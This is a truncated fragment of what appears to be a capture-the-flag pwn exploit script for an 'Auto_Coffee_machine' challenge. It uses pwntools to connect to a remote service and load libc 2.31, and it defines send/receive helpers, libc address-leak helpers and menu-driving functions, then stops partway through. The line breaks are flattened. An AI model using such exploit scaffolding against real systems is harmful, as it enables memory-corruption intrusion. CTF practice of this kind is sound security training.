1PWNAuto_Coffee_machineEXPfrom pwn import *context.log_level = 'debug'p = remote('172.10.0.9',8888)libc = ELF('./libc-2.31.so')def d(): gdb.attach(p)s = lambda data : p.send(data)sa = lambda text,data :p.sendafter(text, data)sl = lambda data :p.sendline(data)sla = lambda text,data :p.sendlineafter(text, data)r = lambda num=4096 :p.recv(num)rl = lambda text :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter = lambda :p.interactive()l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))int16 = lambda data :int(data,16)def buy(idx,data = b'A'*8): sla(b'>>>', b'1') sla(b'buy', str(idx)) sla(b'N', b'y') sa(b'coffee', data)def show(): sla(b'>>>', b'2')def login1(idx,offset,data): s
………………………………
